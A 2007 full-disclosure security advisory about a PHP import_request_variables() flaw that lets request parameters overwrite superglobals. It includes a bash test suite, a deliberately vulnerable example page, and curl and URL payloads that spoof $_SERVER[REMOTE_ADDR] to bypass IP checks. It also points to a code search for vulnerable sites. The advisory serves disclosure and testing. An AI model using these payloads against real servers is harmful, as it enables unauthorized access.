THP Wisec USH DigitalBullets TheHackersPlace network
The WIse SECurity
.italian
.english
Wisec Home SecSearch Projects Papers Security Thoughts
 
News Search on Wisec
Google

PHP import_request_variables() arbitrary variable overwrite

Summary

Using import_request_variables() you can overwrite $_* and $* (any php variable).

Systems Affected

PHP >=4.0.7 <=5.2.1

Severity

High

Vendor

http://www.php.net/

Authors

Stefano `wisec` di Paola (stefano.dipaola_at_wisec.it)
Francesco `ascii` Ongaro (ascii_at_ush.it)

Date

20070307


I. BACKGROUND

PHP is a scripting language. Since in the past PHP enabled by default GLOBALS programmers wrote applications using this input method, nowadays the globals on configuration has gone (while still used by many web hosting companies) and programmers instead rewriting their code wrote added patches to re implement superglobals their own. These codes gave developers more troubles than benefits so PHP developers wrote a function to securely import a part of the whole "_REQUEST", this function is named import_request_variables() and exists since PHP 4.0.7.

II. DESCRIPTION

>From the PHP manual: [quote] Imports GET/POST/Cookie variables into the global scope. It is useful if you disable register_globals, but would like to see some variables in the global scope. [/quote] So import_request_variables() emulate register globals on and is a bit different from extract(). [quote] Note: Although the prefix parameter is optional, you will get an E_NOTICE level error if you specify no prefix, or specify an empty string as a prefix. This is a possible security hazard. Notice level errors are not displayed using the default error reporting level. [/quote] They warn you about the prefix thing, this is right for two reasons: the first is that without prefix you have the same problems of globals on (but it's also true that if you code everything with the prefix you return to the starting point. The second is the one explained in this advisory: using the function import_request_variables() enable people to overwrite the following arrays: $_GET $_POST $_COOKIE $_FILES $_SERVER $_SESSION and all the others not mentioned. We are conducting further investigations on _FILES, it seems possible to overwrite the array but we are not sure that it could be used to trick file upload scripts. Given the specified entry points (the first argument of the function is a case insensitive string of the input methods that will be imported, G for GET, P for POST and C for COOKIE) a remote attacker will be able to overwrite any internal and protected array. The result is that if you use REGISTER GLOBALS ON you are MUCH MORE safe. There is a little bonus: as highlighted in the code snippets on the following ANALYSIS section the P char will enable both POST and FILES entry point so import_request_variables('GPC') will give a global scope to everything specified in GET POST COOKIE and FILES.

III. ANALYSIS

import_request_variables() is not new to vulnerabilities: consider this change log entry for 24 Nov 2005, PHP 5.1. [quote] - Fixed potential GLOBALS overwrite via import_request_variables() and possible crash and/or memory corruption. (Ilia) [/quote] Use the following test suite: run the script in a writable directory inside a document root then point your browser to the test.php files and make your tests. --- >8 --- >8 --- >8 --- >8 --- testsuite.sh --- >8 --- >8 --- >8 --- >8 #!/bin/bash mkdir hack-php_import_request_variables && cd hack-php_import_request_variables echo "Testing cli.." echo "register_globals = Off" > php-ini-globals-off php -c php-ini-globals-off -r "echo (int)ini_get("register_globals");" echo "register_globals = On" > php-ini-globals-on php -c php-ini-globals-on -r "echo (int)ini_get("register_globals");" echo "Testing mod.." mkdir globals-on && mkdir globals-off cat > globals-on/test.php << TOKEN <pre><?php echo 'GLOBALS '.(int)ini_get("register_globals")."n"; import_request_variables('GPC'); echo '<h1>GET</h1>'."n"; print_r(\$_GET); echo '<h1>POST</h1>'."n"; print_r(\$_POST); echo '<h1>COOKIE</h1>'."n"; print_r(\$_COOKIE); echo '<h1>SERVER</h1>'."n"; print_r(\$_SERVER); echo '<h1>SESSION</h1>'."n"; print_r(\$_SESSION); echo '<h1>FILES</h1>'."n"; print_r(\$_FILES); ?></pre> TOKEN cp globals-on/test.php globals-off/test.php echo "php_value register_globals on" > globals-on/.htaccess echo "php_value register_globals off" > globals-off/.htaccess --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 Suggested tests are: - test.php?_SERVER=string (overwrite $_SERVER array and make it a string) - test.php?_SERVER[REMOTE_ADDR]=bypass client ip validation - test.php?_SERVER[HTTP_REFERER]=bypass referer validation Etc.. Add your POST/COOKIE/FILES probes. The vulnerable code is in the following files: ./ext/standard/basic_functions.c:PHP_FUNCTION(import_request_variables) ./Zend/zend_hash.c:ZEND_API void zend_hash_apply_with_arguments(HashTable *ht, apply_func_args_t apply_func, int num_args, ...) Vulnerable code snippet: PHP_FUNCTION(import_request_variables) { [..] if (prefix_len == 0) { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "No prefix specified - possible security hazard"); } [..] for (p = types; p && *p; p++) { switch (*p) { case 'g': case 'G': zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_GET]), (apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);break; case 'p': case 'P': zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_POST]), (apply_func_args_t) copy_request_variable, 2, prefix, prefix_len); zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_FILES]), (apply_func_args_t) copy_request_variable, 2, prefix, prefix_len); break; case 'c': case 'C': zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_COOKIE]), (apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);break; } } [..] } As you can see there are different entry points but the "output" is the global scope. --- >8 --- >8 --- >8 --- >8 --- example.php --- >8 --- >8 --- >8 --- >8 <?php echo 'GLOBALS '.(int)ini_get("register_globals")."n"; import_request_variables('GPC'); if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); echo 'Hello admin!'; ?> --- >8 --- >8 --- >8 --- >8 --- ----------- --- >8 --- >8 --- >8 --- >8 curl http://URL/example.php?_SERVER[REMOTE_ADDR]=10.1.1.1 Will give you: Hello admin! Now that this is disclosed probably you would consider this url: http://www.google.com/codesearch?q=lang%3Aphp+import_request_variables

IV. DETECTION

All the PHP versions >=4.0.7 <=5.2.1 are vulnerable.

V. WORKAROUND

Dunno.

VI. VENDOR RESPONSE

Will fix, probably.

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20070301 Discovery 20070302 Private testing 20070304 Tea time 20070305 Snowboard lesson 20070308 Full disclosure

IX. CREDIT

Stefano di Paola is credited with the discovery of this vulnerability.

X. LEGAL NOTICES

Copyright (c) 2007 Stefano di Paola Note: this exploit is DOUBLE LICENSED, 1. if you'll use it for personal and non-profit purposes you can apply GPL v2 and above. 2. In the case you plain to: a. use our code in any commercial context b. implement this code in your non-GPL application c. use this code during a Penetration Test d. make any profit from it you need to contact me in order to obtain a _commercial license_. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without my express written consense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission.

Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

Florence, 08th March 2007

Wisec is brought to you by...

Wisec is written and mantained by Stefano Di Paola.

Wisec uses open standards, including XHTML, CSS2, and XML-RPC.

All Rights Reserved 2004
All hosted messages and metadata are owned by their respective authors.